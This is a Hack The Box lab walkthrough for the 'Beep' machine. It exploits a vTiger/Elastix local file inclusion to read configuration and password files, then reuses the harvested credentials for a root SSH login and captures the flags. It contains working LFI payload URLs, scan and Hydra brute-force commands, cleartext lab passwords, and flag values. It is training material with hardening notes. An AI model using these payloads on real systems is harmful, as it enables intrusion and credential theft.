Hack The Box Beep

🎯 Objective

Exploit the Elastix/vTigerCRM stack on beep.htb to obtain local credentials via Local File Inclusion (LFI), pivot to SSH, and capture both user and root flags.

🧩 Target & Stack

• Host: 10.10.10.7 (beep.htb)
• Likely Apps: Elastix 2.x, FreePBX, vTigerCRM
• Interesting ports/services: HTTP(S), IMAP/SMTP (per typical Elastix installs)

⚡ TL;DR

1. Use vTiger LFI to read /etc/amportal.conf and /etc/passwd.
2. Harvest passwords and candidate users.
3. Reuse creds to gain SSH shell.
4. Read user flag at /home/fanis/user.txt and root flag at /root/root.txt.

🔎 Recon

Initial scans (examples used during enumeration):

# TCP/UDP discovery (representative examples)
sudo nmap -A 10.10.10.7
nmap -sC -sV -oA nmap 10.10.10.7
nmap -sU -oA udp 10.10.10.7

Directory brute-force (multiple tools tried; initial passes didn’t yield vtigercrm/):

# Metasploit dir_scanner
use auxiliary/scanner/http/dir_scanner
set rhosts 10.10.10.7
set path /
set dictionary /usr/share/wordlists/dirb/common.txt
run

# dirsearch
./dirsearch.py -u http://beep.htb -e php -f -x 400,403,404

# DirBuster (example): 500 threads, medium wordlist

Despite common write-ups finding /vtigercrm/, early sweeps didn’t hit it; proceeded to targeted Elastix/vTiger vectors.

🚪 Exploitation: LFI in vTiger/Elastix

Known LFI gadgets in this stack can read arbitrary files by abusing graph.php / workflow endpoints with a null-byte terminator.

Payloads used

Read amportal.conf (Asterisk/FreePBX config) to harvest credentials:

https://beep.htb/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

Read /etc/passwd to enumerate shell-capable users:

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00

Filter for real shells (remove nologin/false):

cat passwd_dump.txt | grep -vE 'nologin|false'
# (In-editor one-liner used during triage)
# :g/\/nologin/d

Users observed (examples)

root:x:0:0:root:/root:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash
spamfilter:x:500:500::/home/spamfilter:/bin/bash
fanis:x:501:501::/home/fanis:/bin/bash

Credentials harvested from /etc/amportal.conf (highlights)

From view-source: of the LFI’d response:

asterisk
asteriskuser
amp109
asterisk
admin
amp111
admin
jEhdIekWmdjE

These commonly include DB/GUI credentials; try reuse across SSH/services.

🔑 Access: SSH

A quick manual try succeeded:

ssh root@beep.htb
# Successful login (credential reuse from amportal.conf context)

(If needed, mass test with Hydra once you confirm a user/password corpus)

hydra -L users.txt -P passwords.txt ssh://beep.htb

🏁 Flags

User flag

# As root or target user
cat /home/fanis/user.txt
aeff3def0c765c2677b94715cffa73ac

Root flag

cat /root/root.txt
d88e006123842106982acce0aaf453f0

🧠 Lessons Learned

• Don’t give up on “known paths” just because the first brute-force misses them—pivot to product-specific vulns (Elastix/vTiger).
• LFI + null-byte is still a common path to config theft (amportal/FreePBX files are goldmines).
• Credential reuse from telephony stacks to SSH is frequently misconfigured and high-yield.
• Have both manual and automated paths ready (Hydra vs quick manual auth checks).

🛡️ Hardening Notes

• Patch/retire Elastix 2.x and affected vTiger modules.
• Disable direct web read of config files (tighten PHP include paths, harden webserver).
• Enforce principle of least privilege for services, and block SSH password auth or disallow direct root SSH.
• Segment VoIP apps from management/SSH; unique non-reused credentials per service.

📚 References

• Exploit-DB: Elastix 2.2.0 graph.php LFI — 37637.pl
• Additional Elastix vectors: 38091, 18650, 36305, 34942, 38078, 38544 (contextual)
• Product docs: Elastix/FreePBX amportal.conf conventions